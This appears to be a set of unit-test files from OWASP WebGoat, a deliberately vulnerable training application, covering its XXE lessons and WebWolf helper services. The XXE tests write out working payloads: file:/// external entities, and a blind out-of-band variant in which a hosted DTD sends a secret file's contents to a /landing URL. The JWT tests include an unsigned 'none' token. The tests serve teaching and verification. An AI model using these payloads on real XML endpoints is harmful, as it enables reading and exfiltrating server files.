int nrOfComments = countComments();
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content("<comment><text>test</text></comment>"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
assertThat(countComments()).isEqualTo(nrOfComments + 1);
}
@Test
public void wrongXmlShouldGiveErrorBack() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content("<comment><text>test</ext></comment>"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))))
.andExpect(jsonPath("$.output", CoreMatchers.startsWith("javax.xml.bind.UnmarshalException\\n - with linked exception:\\n[javax.xml.stream.XMLStreamException: ParseError at [row,col]:[1,22]\\nMessage:")));
}
@Test
public void simpleXXEShouldNotWork() throws Exception {
File targetFile = new File(webGoatHomeDirectory, "/XXE/" + webSession.getUserName() + "/secret.txt");
String content = "<?xml version=\"1.0\" standalone=\"yes\" ?><!DOCTYPE user [<!ENTITY root SYSTEM \"file:///%s\"> ]><comment><text>&root;</text></comment>";
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content(String.format(content, targetFile.toString())))
.andExpect(status().isOk());
containsComment("Nice try, you need to send the file to WebWolf");
}
@Test
public void solve() throws Exception {
File targetFile = new File(webGoatHomeDirectory, "/XXE/" + webSession.getUserName() + "/secret.txt");
//Host DTD on WebWolf site
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % file SYSTEM \"" + targetFile.toURI().toString() + "\">\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:" + port + "/landing?text=%file;'>\">\n" +
"%all;";
webwolfServer.stubFor(WireMock.get(WireMock.urlMatching("/files/test.dtd"))
.willReturn(aResponse()
.withStatus(200)
.withBody(dtd)));
webwolfServer.stubFor(WireMock.get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
//Make the request from WebGoat
String xml = "<?xml version=\"1.0\"?>" +
"<!DOCTYPE comment [" +
"<!ENTITY % remote SYSTEM \"http://localhost:" + port + "/files/test.dtd\">" +
"%remote;" +
"]>" +
"<comment><text>test&send;</text></comment>";
performXXE(xml);
}
@Test
public void solveOnlyParamReferenceEntityInExternalDTD() throws Exception {
File targetFile = new File(webGoatHomeDirectory, "/XXE/" + webSession.getUserName() + "/secret.txt");
//Host DTD on WebWolf site
String dtd = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n" +
"<!ENTITY % all \"<!ENTITY send SYSTEM 'http://localhost:" + port + "/landing?text=%file;'>\">\n";
webwolfServer.stubFor(WireMock.get(WireMock.urlMatching("/files/test.dtd"))
.willReturn(aResponse()
.withStatus(200)
.withBody(dtd)));
webwolfServer.stubFor(WireMock.get(urlMatching("/landing.*")).willReturn(aResponse().withStatus(200)));
//Make the request from WebGoat
String xml = "<?xml version=\"1.0\"?>" +
"<!DOCTYPE comment [" +
"<!ENTITY % file SYSTEM \"" + targetFile.toURI() + "\">\n" +
"<!ENTITY % remote SYSTEM \"http://localhost:" + port + "/files/test.dtd\">" +
"%remote;" +
"%all;" +
"]>" +
"<comment><text>test&send;</text></comment>";
performXXE(xml);
}
private void performXXE(String xml) throws Exception {
//Call with XXE injection
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content(xml))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
List<LoggedRequest> requests = webwolfServer.findAll(getRequestedFor(urlMatching("/landing.*")));
assertThat(requests.size()).isEqualTo(1);
String text = requests.get(0).getQueryParams().get("text").firstValue();
//Call with retrieved text
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/blind")
.content("<comment><text>" + text + "</text></comment>"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))));
}
}

View File

@ -0,0 +1,106 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.xxe;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.hamcrest.CoreMatchers;
import org.hamcrest.Matchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.springframework.http.MediaType;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.result.MockMvcResultHandlers;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author nbaars
* @since 11/2/17.
*/
public class ContentTypeAssignmentTest extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new XXE());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void sendingXmlButContentTypeIsJson() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/content-type")
.contentType(MediaType.APPLICATION_JSON)
.content("<?xml version=\"1.0\" standalone=\"yes\" ?><!DOCTYPE user [<!ENTITY root SYSTEM \"file:///\"> ]><comment><text>&root;</text></comment>"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("xxe.content.type.feedback.json"))));
}
@Test
public void workingAttack() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/content-type")
.contentType(MediaType.APPLICATION_XML)
.content("<?xml version=\"1.0\" standalone=\"yes\" ?><!DOCTYPE user [<!ENTITY root SYSTEM \"file:///\"> ]><comment><text>&root;</text></comment>"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))));
}
@Test
public void postingJsonShouldAddComment() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/content-type")
.contentType(MediaType.APPLICATION_JSON)
.content("{ \"text\" : \"Hello World\"}"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("xxe.content.type.feedback.json"))));
mockMvc.perform(get("/xxe/comments").contentType(MediaType.APPLICATION_JSON))
.andExpect(status().isOk())
.andExpect(jsonPath("$.[*].text").value(Matchers.hasItem("Hello World")));
}
private int countComments() throws Exception {
var response = mockMvc.perform(get("/xxe/comments").contentType(MediaType.APPLICATION_JSON))
.andExpect(status().isOk())
.andReturn();
return new ObjectMapper().reader().readTree(response.getResponse().getContentAsString()).size();
}
@Test
public void postingInvalidJsonShouldNotAddComment() throws Exception {
var numberOfComments = countComments();
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/content-type")
.contentType(MediaType.APPLICATION_JSON)
.content("{ 'text' : 'Wrong'"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("xxe.content.type.feedback.json"))));
mockMvc.perform(get("/xxe/comments").contentType(MediaType.APPLICATION_JSON))
.andExpect(status().isOk())
.andDo(MockMvcResultHandlers.print())
.andExpect(jsonPath("$.[*]").value(Matchers.hasSize(numberOfComments)));
}
}

View File

@ -0,0 +1,86 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.lessons.xxe;
import org.hamcrest.CoreMatchers;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.owasp.webgoat.container.plugins.LessonTest;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.test.context.junit.jupiter.SpringExtension;
import org.springframework.test.web.servlet.request.MockMvcRequestBuilders;
import org.springframework.test.web.servlet.setup.MockMvcBuilders;
import static org.mockito.Mockito.when;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.jsonPath;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
/**
* @author nbaars
* @since 11/2/17.
*/
@ExtendWith(SpringExtension.class)
public class SimpleXXETest extends LessonTest {
@BeforeEach
public void setup() {
when(webSession.getCurrentLesson()).thenReturn(new XXE());
this.mockMvc = MockMvcBuilders.webAppContextSetup(this.wac).build();
}
@Test
public void workingAttack() throws Exception {
//Call with XXE injection
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/simple")
.content("<?xml version=\"1.0\" standalone=\"yes\" ?><!DOCTYPE user [<!ENTITY root SYSTEM \"file:///\"> ]><comment><text>&root;</text></comment>"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.solved"))));
}
@Test
public void postingJsonCommentShouldNotSolveAssignment() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/simple")
.content("<comment><text>test</ext></comment>"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
}
@Test
public void postingXmlCommentWithoutXXEShouldNotSolveAssignment() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/simple")
.content("<?xml version=\"1.0\" standalone=\"yes\" ?><comment><text>&root;</text></comment>"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
}
@Test
public void postingPlainTextShouldShwoException() throws Exception {
mockMvc.perform(MockMvcRequestBuilders.post("/xxe/simple")
.content("test"))
.andExpect(status().isOk())
.andExpect(jsonPath("$.output", CoreMatchers.startsWith("javax.xml.bind.UnmarshalException\\n - with linked exception")))
.andExpect(jsonPath("$.feedback", CoreMatchers.is(messages.getMessage("assignment.not.solved"))));
}
}

View File

@ -0,0 +1,10 @@
package org.owasp.webgoat.webwolf;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.context.annotation.PropertySource;
@SpringBootApplication(scanBasePackages = "org.owasp.webgoat.webwolf")
@PropertySource("classpath:application-webwolf.properties")
public class WebWolfApplication {
}

View File

@ -0,0 +1,76 @@
package org.owasp.webgoat.webwolf.jwt;
import com.fasterxml.jackson.databind.ObjectMapper;
import lombok.SneakyThrows;
import org.junit.jupiter.api.Test;
import java.util.Map;
import static org.assertj.core.api.Assertions.assertThat;
class JWTTokenTest {
@Test
void encodeCorrectTokenWithoutSignature() {
var headers = Map.of("alg", "HS256", "typ", "JWT");
var payload = Map.of("test", "test");
var token = JWTToken.encode(toString(headers), toString(payload), "");
assertThat(token.getEncoded()).isEqualTo("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXN0IjoidGVzdCJ9");
}
@Test
void encodeCorrectTokenWithSignature() {
var headers = Map.of("alg", "HS256", "typ", "JWT");
var payload = Map.of("test", "test");
var token = JWTToken.encode(toString(headers), toString(payload), "webgoat");
assertThat(token.getEncoded()).isEqualTo("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0ZXN0IjoidGVzdCJ9.axNp9BkswwK_YRF2URJ5P1UejQNYZbK4qYcMnkusg6I");
}
@Test
void encodeTokenWithNonJsonInput() {
var token = JWTToken.encode("aaa", "bbb", "test");
assertThat(token.getEncoded()).isNullOrEmpty();
}
@Test
void decodeValidSignedToken() {
var token = JWTToken.decode("eyJhbGciOiJIUzI1NiJ9.eyJ0ZXN0IjoidGVzdCJ9.KOobRHDYyaesV_doOk11XXGKSONwzllraAaqqM4VFE4", "test");
assertThat(token.getHeader()).contains("\"alg\" : \"HS256\"");
assertThat(token.isSignatureValid()).isTrue();
}
@Test
void decodeInvalidSignedToken() {
var token = JWTToken.decode("eyJhbGciOiJIUzI1NiJ9.eyJ0ZXsdfdfsaasfddfasN0IjoidGVzdCJ9.KOobRHDYyaesV_doOk11XXGKSONwzllraAaqqM4VFE4", "");
assertThat(token.getHeader()).contains("\"alg\" : \"HS256\"");
assertThat(token.getPayload()).contains("{\"te");
}
@Test
void onlyEncodeWhenHeaderOrPayloadIsPresent() {
var token = JWTToken.encode("", "", "");
assertThat(token.getEncoded()).isNullOrEmpty();
}
@Test
void encodeAlgNone() {
var headers = Map.of("alg", "none");
var payload = Map.of("test", "test");
var token = JWTToken.encode(toString(headers), toString(payload), "test");
assertThat(token.getEncoded()).isEqualTo("eyJhbGciOiJub25lIn0.eyJ0ZXN0IjoidGVzdCJ9");
}
@SneakyThrows
private String toString(Map<String, String> map) {
var mapper = new ObjectMapper();
return mapper.writeValueAsString(map);
}
}

View File

@ -0,0 +1,122 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.webwolf.mailbox;
import com.fasterxml.jackson.annotation.JsonIgnoreProperties;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.google.common.collect.Lists;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.mockito.Mockito;
import org.owasp.webgoat.webwolf.user.UserService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.web.servlet.WebMvcTest;
import org.springframework.boot.test.mock.mockito.MockBean;
import org.springframework.http.MediaType;
import org.springframework.security.test.context.support.WithMockUser;
import org.springframework.test.web.servlet.MockMvc;
import java.time.LocalDateTime;
import java.time.format.DateTimeFormatter;
import static org.hamcrest.CoreMatchers.containsString;
import static org.hamcrest.CoreMatchers.not;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.get;
import static org.springframework.test.web.servlet.request.MockMvcRequestBuilders.post;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.content;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.status;
import static org.springframework.test.web.servlet.result.MockMvcResultMatchers.view;
@WebMvcTest(MailboxController.class)
public class MailboxControllerTest {
@Autowired
private MockMvc mvc;
@MockBean
private MailboxRepository mailbox;
@MockBean
private UserService userService;
@Autowired
private ObjectMapper objectMapper;
@JsonIgnoreProperties("time")
public static class EmailMixIn {
}
@BeforeEach
public void setup() {
objectMapper.addMixIn(Email.class, EmailMixIn.class);
}
@Test
@WithMockUser
public void sendingMailShouldStoreIt() throws Exception {
Email email = Email.builder()
.contents("This is a test mail")
.recipient("test1234@webgoat.org")
.sender("hacker@webgoat.org")
.title("Click this mail")
.time(LocalDateTime.now())
.build();
this.mvc.perform(post("/mail").contentType(MediaType.APPLICATION_JSON).content(objectMapper.writeValueAsBytes(email)))
.andExpect(status().isCreated());
}
@Test
@WithMockUser(username = "test1234")
public void userShouldBeAbleToReadOwnEmail() throws Exception {
Email email = Email.builder()
.contents("This is a test mail")
.recipient("test1234@webgoat.org")
.sender("hacker@webgoat.org")
.title("Click this mail")
.time(LocalDateTime.now())
.build();
Mockito.when(mailbox.findByRecipientOrderByTimeDesc("test1234")).thenReturn(Lists.newArrayList(email));
this.mvc.perform(get("/mail"))
.andExpect(status().isOk())
.andExpect(view().name("mailbox"))
.andExpect(content().string(containsString("Click this mail")))
.andExpect(content().string(containsString(DateTimeFormatter.ofPattern("h:mm a").format(email.getTimestamp()))));
}
@Test
@WithMockUser(username = "test1233")
public void differentUserShouldNotBeAbleToReadOwnEmail() throws Exception {
Email email = Email.builder()
.contents("This is a test mail")
.recipient("test1234@webgoat.org")
.sender("hacker@webgoat.org")
.title("Click this mail")
.time(LocalDateTime.now())
.build();
Mockito.when(mailbox.findByRecipientOrderByTimeDesc("test1234")).thenReturn(Lists.newArrayList(email));
this.mvc.perform(get("/mail"))
.andExpect(status().isOk())
.andExpect(view().name("mailbox"))
.andExpect(content().string(not(containsString("Click this mail"))));
}
}

View File

@ -0,0 +1,66 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.webwolf.mailbox;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.autoconfigure.orm.jpa.DataJpaTest;
import java.time.LocalDateTime;
import java.util.List;
import static org.junit.jupiter.api.Assertions.assertEquals;
@DataJpaTest
public class MailboxRepositoryTest {
@Autowired
private MailboxRepository mailboxRepository;
@Test
void emailShouldBeSaved() {
Email email = new Email();
email.setTime(LocalDateTime.now());
email.setTitle("test");
email.setSender("test@test.com");
email.setContents("test");
email.setRecipient("someone@webwolf.org");
mailboxRepository.save(email);
}
@Test
void savedEmailShouldBeFoundByReceipient() {
Email email = new Email();
email.setTime(LocalDateTime.now());
email.setTitle("test");
email.setSender("test@test.com");
email.setContents("test");
email.setRecipient("someone@webwolf.org");
mailboxRepository.saveAndFlush(email);
List<Email> emails = mailboxRepository.findByRecipientOrderByTimeDesc("someone@webwolf.org");
assertEquals(emails.size(), 1);
}
}

View File

@ -0,0 +1,79 @@
/*
* This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/
*
* Copyright (c) 2002 - 2019 Bruce Mayhew
*
* This program is free software; you can redistribute it and/or modify it under the terms of the
* GNU General Public License as published by the Free Software Foundation; either version 2 of the
* License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* General Public License for more details.
*
* You should have received a copy of the GNU General Public License along with this program; if
* not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* 02111-1307, USA.
*
* Getting Source ==============
*
* Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.
*/
package org.owasp.webgoat.webwolf.user;
import static org.junit.jupiter.api.Assertions.assertThrows;
import static org.mockito.ArgumentMatchers.any;
import static org.mockito.Mockito.times;
import static org.mockito.Mockito.verify;
import static org.mockito.Mockito.when;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
import org.junit.jupiter.api.extension.ExtendWith;
import org.mockito.InjectMocks;
import org.mockito.Mock;
import org.mockito.junit.jupiter.MockitoExtension;
import org.springframework.security.core.userdetails.UsernameNotFoundException;
@ExtendWith(MockitoExtension.class)
public class UserServiceTest {
@Mock
private UserRepository mockUserRepository;
@InjectMocks
private UserService sut;
@Test
public void testLoadUserByUsername(){
var username = "guest";
var password = "123";
WebGoatUser user = new WebGoatUser(username, password);
when(mockUserRepository.findByUsername(username)).thenReturn(user);
var webGoatUser = sut.loadUserByUsername(username);
Assertions.assertThat(username).isEqualTo(webGoatUser.getUsername());
Assertions.assertThat(password).isEqualTo(webGoatUser.getPassword());
}
@Test
public void testLoadUserByUsername_NULL(){
var username = "guest";
when(mockUserRepository.findByUsername(username)).thenReturn(null);
assertThrows(UsernameNotFoundException.class, ()->sut.loadUserByUsername(username));
}
@Test
public void testAddUser(){
var username = "guest";
var password = "guest";
sut.addUser(username, password);
verify(mockUserRepository, times(1)).save(any(WebGoatUser.class));
}
}

View File

@ -0,0 +1,8 @@
webgoat.user.directory=${java.io.tmpdir}
spring.datasource.url=jdbc:hsqldb:mem:test
spring.flyway.locations=classpath:/db/container
spring.main.banner-mode=off
spring.jpa.properties.hibernate.default_schema=CONTAINER
spring.datasource.driver-class-name=org.hsqldb.jdbc.JDBCDriver

View File

@ -0,0 +1,9 @@
webgoat.user.directory=${java.io.tmpdir}
spring.datasource.url=jdbc:hsqldb:mem:test
spring.flyway.locations=classpath:/db/container
spring.main.banner-mode=off
spring.jpa.properties.hibernate.default_schema=CONTAINER
spring.thymeleaf.prefix=classpath:/webwolf/templates/

View File

@ -0,0 +1,15 @@
<configuration />
<!--
Enable below if you want to debug a unit test and see why the controller fails the configuration above is there
to keep the Travis build going otherwise it fails with too much logging.
//TODO we should use a different Spring profile for Travis
-->
<!--
<configuration>
<include resource="org/springframework/boot/logging/logback/base.xml"/>
<logger name="org.springframework.web" level="DEBUG"/>
</configuration>
-->